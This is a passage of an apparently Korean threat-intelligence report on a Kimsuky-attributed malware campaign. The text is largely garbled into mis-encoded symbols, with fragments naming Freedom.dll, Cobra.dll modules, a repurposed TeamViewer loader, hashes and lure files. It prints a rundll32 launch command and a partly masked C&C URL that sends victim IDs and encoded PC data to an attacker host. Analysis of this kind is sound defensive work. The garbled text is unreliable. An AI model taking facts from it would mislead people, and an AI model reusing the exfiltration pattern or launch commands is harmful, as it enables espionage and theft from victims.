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Όף ṪἍ ҉ᾎ, ˁ₀ PC₮ C&C ἌḲ╥ ᾐ ⁄Ἄ [͎ᵝ 25]╥ ӥ₮ ̕ᴐӈ ╙ ╬  ὡ 

▓‴Ѥҥ, ҉ ⁄ AhnLab.cab╪ Ӈ‡ ▓‴ѻ. ▀ᶘ⁄Ἄ ῼ ὡ ▓Ѥ ˦ ᴀ ̑˶▫ʺ ᵡ  Ṓ

Ό ‰ ╬ Όף╪ Ⱡ▬  ▀╬˦ ᴀ ─◑  ˦╖ᴛ, ᾒⱠᴛѤ cab ▀╪ ῷѱג   ӈ ▀╪ѻ. 

҉ ▀╪   Ӈ‡ ▓Ѥ ╪┬Ѥ ѻ⇔ᴛӥ ̓♬⁄Ἄ Л √  ṒΌ ◑ẋ╥ ּתᵑ ̆ Ӱּת  

ᴈᾏ╙ Ḣ ͙ ─  ˦╖ᴛ Ṓ╬ѻ([͎ᵝ 26] ̆). 

 

 

[͎ᵝ 26] 64ẋ ↔ Freedom.dll(֞Ѥ AhnLabMon.dll ) ѻ⇔ᴛӥ 

 

  Ӈ‡ ▓Ѥ AhnLab.cab╘ ṓ  ̓♬╙ ˞   AhnLabMon.dllᴛ ỸἛӇ̆, ῷג ╘ˉ ₮מḈ

ᵑ ̯Ἓ ⁴ ᾒ ӈѻ. 

 

- ▫͙ ▫ᾐ╥ 64ẋ ↔ Ḳ♣╙ ᾒ ͙ ─ Ḉג  : 

C:\ Windows\ system32\ rundll32.exe %TEMP%\ ▐ᾎ ▀ᶘ.tmp, RunControl  

 

֞  Freedom.dll(AhnLabMon.dll )ҵ ᵱ לἵ, IP, ˁ₀ ᾎʼ, ⇔₅ Ⱡ Ḳ♣ Ӯ ˁ₀ PC╥ ♬Ṓᵑ ὡ︡

⁴ C&C ἌḲ⁄ ♣Ἶ Ѥҥ, ╪ԅ גḈ  ᾏ╘ ѻ╛̓ ˉѻ. 

 

- ˁ₀ PC ♬Ṓᵑ C&Cᴛ ♣Ἶ ᾎ גḈ  

h**p://my -homework.890m.com/******/*****?WORD=com_[ ᵱ לἵ]&NOTE=[BASE64ᴛ   ӈ ˁ₀ 

PC ♬Ṓ] 
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[͎ᵝ 27] C&C ἌḲᴛ ♣ἾӇѤ ˁ₀ PC ♬Ṓ 

 

Όף ṪἍ ҉ᾎ, C&C ♬Ṓ⁄Ѥ 27ˌ IP╥ ˁ₀ ♬Ṓʺ com_ᵱ לἵ.txt ᾏ╖ᴛ ♇◑Ӈ‡ ▓‴ѻ. ╪ө 

IP⁄Ѥ ᾒⱠ ˁ₀ PC₮ ṪἍʺ╥ PC ♬Ṓʺ ӚἎ⁴ ▓‴╖ᶒ, ᾒⱠ ˁ₀ ʺ ▓Ѥ PC ẋ═╙ ♬

˭ ụ  ὡѤ ′‴ѻ.  

 

Ϯ ╪ө 27ˌ IP╥ ˁ₀ ♬Ṓᵑ ҍᴛ  ˁ₀╪ ḛỸױ͎  ᾎ♩(2018.12.24 08:13:52)╙ ╬  ὡ 

▓‴╖ᶒ, ╪ᴛ Ḉᴴ‡ ̑˶▫Ѥ ▀Ṩ ░ ͙▫Ѿ╙ ҍỮ╖ᴛ ῸἛ ӥᵑ ┬ ͙⁄  Ἄ ּתϱ 

2018Ц ᵦṨ  ѻ‚  Ṫ‒ᵑ ҍỮ╖ᴛ ῸἛ ӥᵑ ┬ ╛╙ ῼ ὡ ▓ѻ.  

 

 

[͎ᵝ 28] C&C ἌḲ⁄ ‰ᴛӥӈ ˁ₀ PC╥ ♬Ṓ 
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[͎ᵝ 29]Ѥ ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ ͙ ─  C&C ἌḲ₮╥ ᾐ ╖ᴛ, ᶙ ʺּת ︣╪ ḛ˸

ӆѻ. 

 

 

[͎ᵝ 29] ʺ ῸἛ ӥ ѻ⇔ᴛӥ  

 

ɽ ʺṉ♠╬ ▀ᶘ  

ʺᴛ ѻ⇔ᴛӥӇѤ ▀╥ ╪ᵒ╘ Cobra_ + ˁ₀ PC╥ ᵱ לἵ╥ ѻ. ӻגἌ ῸἛ ӥ╥ ▀ᶘ 

̓ ˁ₀ PC╥ ᵱ לἵᵑ ᶛᵎᶔ ▀╙ ѻ⇔ᴛӥ  ὡ ′ѻ. ֞ ῸἛ ӥʺ ḕᴛ ѻ⇔ᴛӥӇѤ ˦

╪ ῷѱױ⁴ ג Ḵ╥ ѻ⇔ᴛӥ ᾒ   Ἓ̑ ѻ. ▀ḙ♠╖ᴛ C&C ἌḲ₮ ⁷˺Ӈᶔ ḕᴛ ʺ ῸἛ

ӥʺ ѻ⇔ᴛӥӇѤ ˦̓ ѻᵐ ♩╪ѻ. ̑˶▫Ѥ ͙Ⱶ⁄ ὡ︡  ˁ₀ PC╥ ♬Ṓᵑ ṪἍ ⁴ ᾒⱠ ̑˶ 

͡╬ PC⁄ᵣ ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ  ˦╖ᴛ Ṓ╬ѻ. ּס, ṪἍʺ Ӯ ╥ҵ  Ѥ֞ זΏ╘ Ợ תּ

ᾎᾅ ⁄Ἄ ▀╙ ѻ⇔ᴛӥ  ὡ ′ҵᴜ Ӑ ˦╪ѻ. ̑˶▫Ѥ 2017Ц⁄ Ⱡ▬  core.dll⁄Ἄҵ ╪ױ  

Ḣᾏ╙ Ợ↔ ѻ. ҉ᾎ core.dll╘ ῸἛ ͒ ᶷἌ₮ Ζ ┬ ӆ╖ᶒ, ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ Ѥ 

URL⁄ ˁ₀ PC╥ ᵱ לἵᵑ Ợ↔ ѻ([͎ᵝ 30] ̆). 

 

 

[͎ᵝ 30] 2017Ц core.dll╥ ҿ▬ Ḣᾏ 
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ɽ   ӈ ▀ ѻ⇔ᴛӥ  

ѻ⇔ᴛӥ  ▀╙    ˦╘ ѻ⇔ᴛӥ ̓♬⁄Ἄ Л √  ṒΌ ◑ẋ⁄ ╥  ╙˦ ӇѤתּ 

̆ Ӱּת  ᴈᾏ╙ Ḣ ͙ ─ ╪ѻ.   ӈ ▀╘ ˁ₀ PC⁄ ѻ⇔ᴛӥӈ  [͎ᵝ 31]╥ ṓ  

̓♬╙ ˞  ᾒ  ʺѫ  ῸἛ ӥᴛ ỸἛӈѻ. 

 

 

[͎ᵝ 31] ṓ  ӥ(⅍ ) ḓ ṓ  ♣ (₡ᵐ ) 

 

ɽ ҿ▀  ▀ᶘ ḓ ὡᶘ 

Freedom.dll(AhnLabMon.dll )╘ Rundll32.exeŋ   ṓ ӈ 3ˌ╥ Cobra.dll⁄ ̑ ♠╖ᴛ Ⱶ◓ Ѥ 

Query()ᵑ ᾒ ѻ([͎ᵝ 32] ̆).  

 

[͎ᵝ 32] Cobra.dll  ᾒ  Ḣᾏ 
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(5) Cobra.dll  

ṓ ӈ Cobra.dll 3ˌ╥ ︣ ḓ ͙ѫ╘ [  3]̓ ˉѻ.  

 

̬ṧ ︠ 

Cobra.dll 1  

 ʹ 3.wsf̋  ѻ⇔ᴛӥ  list.dll(Cobra.dll)₮ ҿ▀  ▀ 

 ʹ C&C ♬Ṓ(nid-mail.esy.es)Ѥ ӥ ӹ Ӈ‡ ▓╛ 

Cobra.dll 2  
 ʹ Cobra.dll 1₮ ҿ▀ ᵣ C&C ἌḲ ♬ṒѤ Ṋҵ╥ iniᴛתּ

Ṩ  ▄‡ ₩ 

Cobra.dll 3 

 ʹ ˁ₀ PC╥ פ ⁄ ӻג ʻʻ ῷמ╥ ῸἛ ӥ ѻ⇔ᴛ

ӥ, ṓ  ḓ ᾒ  

- 32ẋ  ┌ҵ↕▀ ˿↕: secu32_init, private32  

- 64ẋ  ┌ҵ↕▀ ˿↕: secu64_init, private64  

[  3] Cobra.dll╥ ︣ ḓ ͙ѫ 

 

 

 

[͎ᵝ 33] Cobra.dll╥ ѻ⇔ᴛӥ ḓ ṓ  ̓♬ 
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Cobra.dll 3╘ 2017Ц⁄ Ⱡ▬ӈ core.dll╪ ʺᴛ ѻ⇔ᴛӥ Ѥ 1F46.tmp₮ ҿ▀  ͙ѫ╙ Ѥҥ, ▀ 

ѻ⇔ᴛӥ, ṓ  ḓ ᾒ , ᴆּתᾅ ᵙ ˃ ʺ, ַאṓ ᾒ  Ḣּתᵑ ─  ᷾ ᾅ ỸἛ Ӯ╪ ͎˦╪ѻ([͎

ᵝ 34] ̆). 

 

[͎ᵝ 34] 2017Ц 1F46.tmp₮ 2019Ц Cobra.dll 3╥ ӥ 

 

 

Cobra.dll 3⁄Ѥ ▫ᾐ╪ ѻ⇔ᴛӥ  private32.db, secu32_init.inf⁄ Ⱶ◓ Ѥ EXPORT ὡ╥ לἵᵑ Ӧ

Ѥ ӥʺ Ⱶ◓ ѻ. ͎ױϮ ᾒⱠᴛѤ [͎ᵝ 35]⁄ ᾎӈ ὡᵣ Ợ↔ ѻ.  

 

[͎ᵝ 35] Cobra.dll 3╥ DLLᴛӹ ḓ ὡ לἵ Ӧ ̓♬ 
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ױ╪  ♩╖ᴛ Ḉᴴ‡ ̑˶▫Ѥ ῸἛ ӥ Ⱡ▬ ᾎ ͙Ⱶ ӥᵑ ◓Ợ↔ ♬ṓӇѤ ͙ѫ╙ ⱳ͔῭ ὡאַ 

╛╙ ︠▬  ὡ ▓ѻ.  

 

(6) private32.db  ḓ secu32_init.inf 

private32.db₮ secu32_init.infѤ Ữ ╥Ⱶ♠╖ᴛ ҿ▬ ѻ. private32.dbʺ Ὸ╥♠╬ ͙ѫ╙ ὡ ᶔ 

secu32_init.inf̋  ͎ ˺̓ᵑ C&C ἌḲᴛ ♣Ἶ Ѥ ̯ⱳѻ.  

 

̬ṧ ד⅔ ͖Ѩ  

private32.db  

 ʹ ḥҵ‡ 

 ʹ ᴛ͢ 

 ʹ ᶔ  

 ʹ ᾎᾅ  ♬Ṓ ὡ︡ - ӥג╪Ẅ Ṗᵊ, ᵱ לἵ, җ ḓ 

▀ ᶜᴜ Ӯ  

 ʹ secu32_init.inf╥ EXPORT ὡ  

secu32_init.inf 

 ʹ ╬ С ⁷˺ Ữ   

 ʹ ѻ⇔ᴛӥ ♠ ợⱠ ḓ ѻ⇔ᴛӥ 

 ʹ ˁ₀ PC⁄Ἄ ὡ︡  ♬Ṓ ♣Ἶ - ᶔ , ᴛ͢ ҥ

╪  Ӯ 

[  4] private32.db₮ secu32_init.inf╥ ͙ѫ 

 

 

[͎ᵝ 36]Ѥ private32.db₮ secu32_init.inf╥ Ữ ╥Ⱶ♠╬ ҿ▬ Ḣᾏ╙ Ṓ⁴לѤ ˦╖ᴛ, ˁ₀ PC⁄Ἄ 

ὡ︡  ᴛ͢ ҥ╪ ᵑ C&C ἌḲᴛ ♣Ἶ Ѥ ̓♬╪ѻ.  
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[͎ᵝ 36] 2019Ц private32.db₮ secu32_init.inf╥ ҿ▬ Ḣᾏ ₉ᾎ 

 

 

[͎ᵝ 36]╥ ̓♬╙ ˞  ˁ₀ PC⁄Ἄ ὡ︡  ♬Ṓᵑ C&C ἌḲᴛ ♣Ἶ  ԅ ʻ ♬Ṓ╥ ꜙᵆᵑ ᾏṊ  

ὡ ▓ҵᴜ ♬ ᶷ▫⁸╪ ᾏṊ▫ᴛ Ợ↔ӈѻ. ╪ ֞  2017Ц⁄ Ⱡ▬ӈ ῸἛ ӥ₮ ҿ▀  Ḣᾏ╖ᴛ, 

[  5]₮ ˉ╪ ᾎ͙Ṋ ṉꜙ⁄ ӻג ᾏṊ▫ᴛ Ợ↔ Ѥ ᶷ▫⁸╘ ѻᵎѻ. 

 

ᾋ͖ ᶴ■⁵ 

2017Ц 

 ʹ ⇔₅ Ⱡ ♬Ṓ: ˁ₀ PC╥ ᵱ לἵ_micky_20170616_154151041 

 ʹ ᶔ : ˁ₀ PC╥ ᵱ לἵ_jeny_20170616_005357041 

 ʹ ᴛ͢ ҥ╪ : ˁ₀ PC╥ ᵱ לἵ_rose_20170616_162428041 

2019Ц 

 ʹ җ ḓ ▀ ᶜᴜ: ˁ₀ PC ᵱ לἵ_AllList_20190107_110643041 (Cobra.dll

╪ ὡ ) 

 ʹ ᶔ : ˁ₀ PC ᵱ לἵ_tojeny _20190107_111328041 

ʹ ᴛ͢ ҥ╪ : ˁ₀ PC ᵱ לἵ_rosemary_20190110_172531041  

[  5] ṉꜙṊ ︣♠╬ ᶷ▫⁸ 
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[͎ᵝ 37] ˁ₀ PC⁄Ἄ ὡ︡  ♬Ṓᵑ C&C ἌḲᴛ ♣Ἶ Ѥ  

 

Όף╪ ṪἍ  ҉ᾎ, ˁ₀ PC⁄Ἄ ὡ︡ӈ ♬Ṓʺ C&C ἌḲᴛ ♣ἾӇѤ ˦╙ ╬  ὡ ▓‴ѻ([͎ᵝ 

37] ̆). ֞  C&C ἌḲ⁄Ѥ ᾒⱠ ˁ₀ PC⁄Ἄ ♣Ἶӈ ˦╖ᴛ Ṓ╪Ѥ  ᶔҵ Ⱶ◓ ѻ([͎ᵝ 38] 

̆). 

 

 

[͎ᵝ 38] C&C ἌḲ⁄ Ⱶ◓ Ѥ ˁ₀ PC╥ ♬Ṓ ḓ ᶔ  

 

̑˶▫Ѥ ҍ2017 רЦṨ  private32db₮ secu32_init.infŋ  Ⱡ▬  ˦╖ᴛ Ṓ╬ѻ. [͎ᵝ 39]Ѥ 2017Ц⁄ 

Ⱡ▬ӈ private32₮ secu32_init╥ ҿ▬ Ḣᾏ╥ ▀Ṩᴛ, [͎ᵝ 36]̓ ҿ▀  Ͽ↔▐╙ ╬  ὡ ▓ѻ. 
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[͎ᵝ 39] 2017Ц Ⱡ▬ӈ private32₮ secu32_init╥ ҿ▬ Ḣᾏ 

 

╪ Ṓ̆Ἄ⁄ἌѤ 2017Ц̓ 2019Ц⁄ Ⱡ▬ӈ private32.db₮ secu32_init.inf⁄ ҍ Ἄᵣ ἒᶘ ףᵣ, Όתּ

╘ 2018Ц⁄ҵ ṉꜙ╪ Ⱡ▬Ӈ‴╛╙ ╬ ѻ. 2017ЦṨ  2019Ц ◓ּͥ3 ʺ▫˶̑ תЦʼ Ⱡ▬  Ὸ

Ἓ ӥѤ ▀Ṩ EXPORT ὡᶘᵣ ѻᵎ̆ ӥѤ ҿ▀ ˞Ϯ ὡᶘ̓ ӥ ᶛӎ ҿ▀ ѻ([͎ᵝ 40] 

̆). 

 

 

[͎ᵝ 40] ⁷ҵṊ private32.db₮ secu32_init.inf╥ ӥ (⅍ Ṩ  2017Ц, 2018Ц, 2019Ц ὣ) 
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▬ϱ 3Цʼ ̑˶▫ʺ Ⱡתּ ,  ѻὡ╥ ῸἛ ӥ ַא private32.db₮ secu32_init.inf╥ ḛ˸ ẍҵѤ и

ʼ ѻ⇔ᴛҗ Ӯ ѻᵐ ῸἛאַ ῸἛ ͒ ᶷἌϮ גΏ ╖ᶒ, ⅝⁄ ӻ תּ ӥ₮ Ζ ʼ ♠╖ᴛ Ợ↔

ӆѻ. ╪ױ  ‚Ữ╘  ╖ᴛҵ ּתἶӉ ˦╖ᴛ Ṓ╬ѻ.  

 

 

(7) tvengine.dll̓ MsMpQhp.exe 

tvengine.dllѤ  Ἄ ủ ṕ ̱Ợ ̕ᴐ ͙̕⁄ ┬ ӈ ▀(Ợ‰́ Ἄ.hwp{̑ḥ}.exe)̓ ẋᾌ  ᾎ͙⁄ 

┬ ӈ ˦╖ᴛ Ṓ╬ѻ.  ҿ▀  C&C ἌḲ(my-homework.890m.com)⁄Ἄ ┬ Ӈ‴ѻѤ ♩⁄Ἄ ӎ 

ῸἛ ӥʺ ̕ᴐ ▓╙ ʺѫἛ╪ иѻ. 

 

 ở‭˾ Ἁ.hwp{̎Ḣ}.exe tvengine.dll  

ḛ˸ ᾎ͙ 2018-12-26 10:53 2018-12-27 21:09 

┬ my-homework.890m.com תּ  

h**ps://my -

homework.890m.com/gnu/download/tvEng

ine.dll 

[  6] ῸἛ ӥ ḛ˸ ᾎ͙ ḓ ┬  ἵל 

 

tvengine.dll⁄Ѥ   ӈ TeamViwer 3.0 Ḳ♣╪ Ⱶ◓ ᶒ, ṓ   MsMpQhp.exeᴛ ỸἛ ḓ ᾒ

ѻ. 

 

 

[͎ᵝ 41] MsMpQhp.exe╥ ṓ  ̓♬ 
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tvengine.dll╥ ṉꜙ╙ ṪἍ  ˺̓, ▀╥ TimeStampᵑ ҍᴛ ̑˶▫Ѥ ἵ 2Ц♣Ṩ  ʼ ♠╖ᴛ 

ṉꜙ╙ Ⱡ▬  ˦╖ᴛ Ṓ╬ѻ. [  7]╘ tvengine.dll ṉꜙ╥ ♬Ṓᵑ ⅝–  ˦╪ѻ. ╪ө 4ˌ ṉꜙ⁄Ѥ ̑

♠╖ᴛ EXPORT Names⁄ tvEngine.dll╪ה ▀ᶘ╪ Ⱶ◓ ᶒ, ҉ ▀ө╙ ᾒ ᶔ TeamViwer 3.0 

Ḳ♣╥ ҿ▀  MsMpQhp.exeᵑ ỸἛ ѻ. 

 

╪ᶕ TimeStamp  MD5  
EXPORT 

Ὕᶕ 
Ṑ   

 tvEngine.dll 
2018.12.22 10:08:11 

GMT+09 

a45ba001c3abee03bda49c6816d9a17

c 
Query 

0xB316A62

7 

 ariaK.dll 
2018.11.27 22:53:59 

GMT+09 

0a50827a4897a43a882c8d3c691d943

d 
EntryFunc 

 IECheck.dll 
2017.06.23 10:55:43 

GMT+09 

02dae3046d1669a55785ba935b0e3f0

b 
Run 

 45D3.tmp 
2017.06.26 15:29:48 

GMT+09 
ba89337af43f0b07a35cc892ac95112a Run 

[  7] t vengine.dll╥ ṉꜙ ῸἛ ӥ 

 

 

[  7]╥ IECheck.dll̓  45D3.tmpѤ 2017Ц⁄ Ⱡ▬Å┬ ӈ ῸἛ ͒ ᶷἌ ḓ ̕ᴐ core.dll̓ ⁷̕Ἓ╙ 

ˇ̆ ▓ѻ. ̑˶▫Ѥ ҍ2017 רЦ 4∩˿Ṩ ḓ ҍ ͙̕ ʺ̰ תּͥ∩7   ╙▀ө╙ ҍỮ╖ᴛ ╪ᶉ∟וֹ ̪

 ῸἛ ͒ ᶷἌᵑ ┬ ѻ. ᶉ▀ ὡᾐ▫ʺ ҉ ῸἛ ͒ ᶷἌᵑ ⁸ᶔ core.dll⁄ ˁ₀Ӈᶒ, 

core.dll╪ C&C ἌḲ₮ ᾐ   ѻὡ╥ ʺ ῸἛ ӥᵑ PC⁄ ѻ⇔ᴛӥ ḓ ᾒ ѻ. ╪ԅ ѻ⇔ᴛӥ

ӈ ▀⁄ IECheck.dll̓  45D3.tmp╪ Ӈ‡ ▓‴ѻ. 

 

 

[͎ᵝ 42] 2017Ц core.dll╥ ѻ⇔ᴛӥ ͙ѫ  
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, MsMpQhp.exeѤ Ӯᴜ♬Ṓ, TimeStamp, ϿṨ ᶷ▫⁸ Ӯ╙ ṪἍ  ˺̓, – 12Ц ♣⁄ Ⱡ▬ӈ 

TeamViewer 3.0╖ᴛ ╬Ӈ‴ѻ. ̑˶▫Ѥ [͎ᵝ 43]̓ ˉ╪ ҉ Ḳ♣╙ ╪↔ ⁴ ̑˶ ҍỮ PCŋ  Ⱡ‡

ᴎ̆ ѻ. 

 

 

[͎ᵝ 43] MsMpQhp.exe╥ ♬Ṓ 

 

MsMpQhp.exeѤ UPXᴛ ᾒ    Ӈ‡ ▓ѻ.    Ⱡ  ӥᵑ ╬  ˺̓, ῷמ₮ ˉ╘ PDB ♬Ṓ

ᵑ ╬  ὡ ▓‴ѻ. 

 

- PDB Path: c:\ \ TeamViewer\ \ TeamViewer\ \ release\ \ TeamViewer.pdb 

 

̑˶▫Ѥ ̓˞⁄ҵ TeamViwerŋ  Ὸ↔  Ợᴗʺ ▓ѻ. ҉ᾎ⁄Ѥ TeamViwer Ḳ♣ 5ᵑ ╪↔ ₄Ѥҥ, ╪

Ḵ ̑˶⁄ Ợ↔ӈ MsMpQhp.exe₮ ┬Ợ  PDB Path ♬Ṓᵑ ˇ̆ ▓ѻ.  

 

 ʹ 2013_netsvcs.exe_ab73b1395938c48d62b7eeb5c9f3409d 

- PDB Path: c:\ TeamViewer5_Release\ TeamViewer\ release\ TeamViewer.pdb 

 

 ʹ 2014_spl.exe_b02f3881321f0912b2ae3f27498c448f 

- PDB Path: F:\ Work\ Tool\ Timeviewer\ 20140113\ ie_moth\ Release\ ie_moth.pdb  

- PDB Path: c:\ TeamViewer5_Release\ TeamViewer\ release\ TeamViewer.pdb 

 

 ʹ 2014_xpsp2.exe_11fc4829c2fff9fb240acbd71c60fc67 

- PDB Path: F:\ Work\ Tool\ Timeviewer\ 20140113\ ie_moth\ Release\ ie_moth.pdb  

- PDB Path: c:\ TeamViewer5_Release\ TeamViewer\ release\ TeamViewer.pdb 
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(8) AlyacMonitor.db ₮ AlyacMonitor.db_ini  

₤   ┬ ӈ ַ⁷̯-̰א▫ᴮ.hwp{̑ḥ}.scr ▀╘ AlyacMonitor.db  ▀╙ ỸἛ ѻ. AlyacMonitor.db

╘  Ἄ ủ ṕ Freedom.dll(֞Ѥ AhnLabMon.dll )̓ ҿ▀  ͙ѫ╙ ὡ תᵣ, C&C ♬Ṓᵑ ♬ ᴆּתּ

ᾅ ᵙ ˿ᴛ⁄ ʺ Ѥ ͙ѫ╙ ˇ̆ ▓ѻѤ ♩⁄Ἄ ╪ᵑ Ṓ╬ѻ.  

 

╪Ѥ ͙Ⱶ╥ Freemon.dll(AhnLabMon.dll)╪ ▫ᾐ̓ ҿ▀  ˿ᴛ⁄ Ⱶ◓ Ѥ ini ▀⁄Ἄ C&C ♬Ṓᵑ 

▄‡₮ C&C ἌḲ₮ ᾐ Ѥ Ḣᾏ╥ Ѿ♩╙ Ṓ₰  ˦╪ѻ. ͙Ⱶ╥ Freemon.dll(AhnLabMon.dll)Ѥ C&C 

♬Ṓᵑ ♇◑ ̆ ▓Ѥ ini ▀╪ ‡Ԑ ╪┬ᴛ Ⱶ◓ Ώ╙ ˿↕ C&C ἌḲ₮ ᾐ תּ  ὡ ′╖ᶒ, ˺̓

♠╖ᴛ Ὸ╥♠╬ ͙ѫ╙ ὡ  ὡ ′˭ ӈѻ. ╪⁄ ḙ  AlyacMonitor.db Ѥ ini ▀╪ Ⱶ◓ גΏҗ תּ

ҵ ♬ ᴆּתᾅ ᵙ ˿ᴛ⁄ ʺ  Ӑ C&C ♬Ṓᵑ ▄‡₮ C&C ἌḲ₮ ᾐ ⁴ Ὸ╥♠╬ ͙ѫ╙ ὡ

 ὡ ▓ѻ([͎ᵝ 44] ̆). 

 

 

[͎ᵝ 44] ᴆּתᾅ ᵙ⁄ C&C ♬Ṓ ʺ ͙ѫ 

 

 

 

 

 

ῸἛ ӥ ᴛ ▀ᵠ 

ῸἛ ӥ ṪἍ╘ ▀╥ ͙ѫ╙ Ὸ ⁴ ῸἛ ⁴Ṩᵑ Ṋ   ḥᾐ⁄ ᾎ͎ѱ ᵑ ‰ҥ╪ Ѥ ▀ᴐ

ὡ ▓ѻ. ╪⁄ ḙ  ג╪♬̓ ╥  ῸἛ ӥ ᴛ ▀ᵠ╘ ῸἛ ӥ ṪἍ╙   ῸἛ ӥ╥ 
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͙ѫ̓ ︣, ͎ᵙ̆ ῸἛ ӥ₮ ̕ᴐӈ Ợ̆ ⱳỢ ♬Ṓᵑ ὡ︡ ⁴ ҉ ῸἛ ӥʺ ‡֒˭ ṉ

Ӈ‴̆, ̑˶ ҍỮ╘ ᶴ″╪ᶒ, ̑˶▫ ֞Ѥ ͎ Ḥ ᵑ Ḝ ╖ᴛᾬ  ▀‡ϳ ὡ ▓Ѥ Ợ̆ᵑ ₉

̆ ҍẋ Ѥ ▬‰╪ג  ὡ ▓ѻ. ̖♠╬ ♬Ṓᵑ ὡ︡ ̆ ṪἍ ‒ Ѥ ᵣ  ᵤ╘ ᾎʼ╙ 

⅝ᴛ ּתᵣ Ợ̆ ҍ╞╙ ─  ḙӥᾎ ⅝  ▬‰╪ѻ.  

 

Ϯ ̑˶▫ө╘ ῸἛױ͎ ӥ ᴛ ▀ᵠ╙ Ḣ ˞Ϯ ͙ל ╙ה ─  ѻ╛̓ ˉ╪ ѻ‚  Ḣḹ╙ ҿ

∟ ̆ ▓ѻ.  

 ʹ ῸἛ ӥ  ѻṉ  ḓ Ợ↔ ͙ל Ѿ  

 ʹ ѻᵐ ῸἛ ӥ╥ ͙ѫ ḓ ︣ ᶛḢ 

 ʹ ѻ‚  ─◑ ͙ḹ(False Flag) Ợ↔ 

 ʹ ̑ˌӈ   Ợ↔ 

 ʹ VPN IP ֞Ѥ ˿┬ּת PCŋ  Ὸ↔ ⁴ ̑˶▫ ♠   

 ʹ ѻ‚  ᾒ      ḓ ᴛ͎מḒ …‡ Ợ↔ 

 

╪ Ω⁄ҵ ̑˶▫ө╘ ῸἛ ӥ ᴛ ▀ᵠ╙ ᶴᴏ ͙ ─ ḹө╙ ̆Ό͙ תּʺױ⁴  ̆ ▓ѻ. ӻג

Ἄ ῸἛ ӥ ᴛ ▀ᵙ╘ AѤ BѻגѤ 100% ᾐ╪ ῷѱג AѤ Bҵ, Cҵ, Dҵ Ӊ ὡ ▓ѻѤ ѻ‚  

˿↕╥ ὡ ἶ⁄Ἄ ̯ ♠╬ Ϯᴛ ʺѫἛ╙ и⁴ʺѤ ▬‰╪ג  ὡ ▓ѻ.  

 

ױ╪  ̕♩⁄Ἄ ╪Ḵ ₡ ᴆ╪Ἢ ḕ Ẅג╥ Ḥ ᴛ Kimsuky ͎ᴹ╖ᴛ ♬  Ḥ˿╘ ҉ ͎ᴹ╥ 

ἵ ▀ ʺѫἛ╪ иѻѤ ♩⁄Ἄ ͙╬ ѻ. ₡ ᴆ╪Ἢ ḕ Ẅג╥ ̑˶ ҍỮ╥ ṉ Ṩ  ῸἛ ӥ 

┬ ḓ C&C ṪἍ, ͎ Ω ̑˶ Ḥ תּ ᵑ ♬  ̯ ♠╬ ͐˞ᵑ ủ ṕѻ.  

 

 

1. ̑˶ ҍỮ╥ ṉ  

▀ḙ♠╖ᴛ ♠ ̑˶(target attack) ╘ ▀♬ ͙ʼ ҿΌ ♬ Ṫ‒ᵑ ҍỮ╖ᴛ ּתἶ♠╖ᴛ ᾎҵ   ˿

↕⁄ ӻג ѻᵐ Ṫ‒ᴛ ̑˶ ҍỮ╙ ṉ˿ ѻ. ╪⁄ ḙ  ₡ ᴆ╪Ἢ ḕ Ẅג╥ ̑˶ ҍỮ╘ ̱Ợ 

̕ᴐ ͙̕(ROTC), …ᴝ Ṫ‒,    ̕ᴐ Ṫ‒, ╥ᵆ ụ‰ Ṫ‒ Ӯ╖ᴛ ѻ‚  ˦╪ ︣╪ѻ. 
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 Ἄ [  1]⁄Ἄ ♬ᵙ  ₡ ᴆ╪Ἢ ḕ Ẅג╥ ᾎ͙Ṋ ̑˶ ҍỮ Ω⁄ҵ [  8]̓ ˉ╪    ḓ 

╥ᵆ ụ‰ Ṫ‒ᵑ ҍỮ╖ᴛ ┬ ӈ ῸἛ ӥʺ ╬Ӈ‴ѻ.  

Ḙ˵ ᾋ͖ ╪ᶕ ⌐◌ ╪ ᾌ ̎˳ Ҋừ 

2019.01.18 ╬Ӈּת Ώ╛  

⁞ἢ 

(╪җᵙ∑ ּת˂ ♬Ṓ) 

    

2019.01.22 AR.xls{̑ ḥ}.exe 

⁞ἢ 

Ό─ ̰אַ) ᴛ ͙ӈ ˸♠Ἄ) 

╥ᵆ Ợ 

[  8] ʺ ̑˶ ҍỮṊ ӥᴠ  ▀ᶘ ḓ ─◑ ▀ ᾏ 

(* ▀ ḛ˸ ᾎ͙₮ ᾒⱠ ┬  ᾎ͙Ѥ Ữ╪  ὡ ▓╛) 

 

[  8]⁄ ♬ᵙ  ӥᴠ Ѥ  Ἄ ủ ṕ ̱Ợ ͙̕ ̑˶ Ợᴗ(2019 Ợ‰́ Ἄ.hwp{̑ḥ}.exe)₮ …ᴝ Ṫ

‒ ̑˶ Ợᴗ(ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬ Ẅ.hwp{̑ḥ}.exe)⁄ Ợ↔ӈ ▀̓ ҿ▀ ˭ WinRAR 

SFX(Self-extracting archive, ▫ҿ    ᵝ) Ḣᾏ╖ᴛ   Ӈ‡ ▓╖ᶒ,    ▀ ϿṨ⁄Ѥ Ὸ╥♠╬ ͙

ѫ╙ ὡ Ѥ ῸἛ ᾅ ᵞ ʺ Ⱶ◓ ѻ. 

 

  ᵑ Яᵛ ̑˶⁄Ѥ [͎ᵝ 45]₮ ˉ╪ Ợ↔▫ ╪ᵒ̓ ╪җᵙ∑ לἵ Ӯ╥ Ͽ↔╖ᴛ ─◑  ⁞ἢ

▀╙ ╪↔ ѻ. ╪ ─◑↔ ▀⁄ Ṓ╪Ѥ ╪җᵙ∑ לἵ╥ ˞מ Ͽ⁵╘ ̯͒⁄Ἄ ˤự ʺѫ ᵣ, ᾒתּ

Ⱡ Ợ↔▫╥ ♬Ṓ₮ ҿ▀ ╬ Ѥתּ╬˦   ὡ ′‴ѻ.  

 

[͎ᵝ 45]   ᵑ Яᵛ ̑˶⁄ Ợ↔ӈ ─◑↔ ⁞ἢ ▀╥ Ͽ↔ 
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 Ἄ ủ ṕ Ợᴗ⁄Ἄ ῸἛ ӥʺ ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄ ‰ᴛӥӈ ▀⁄Ἄ C&C ♬Ṓᵑ ѻ⇔ᴛӥ

ѻ. ╪₮ Ҁᵙ   ᵑ Яᵛ ̑˶⁄ἌѤ ῸἛ ᾅ ᵞ (2.wsf, 3.wsf)ᴛ C&C ♬Ṓᵑ ѻ⇔ᴛӥ Ѥ 

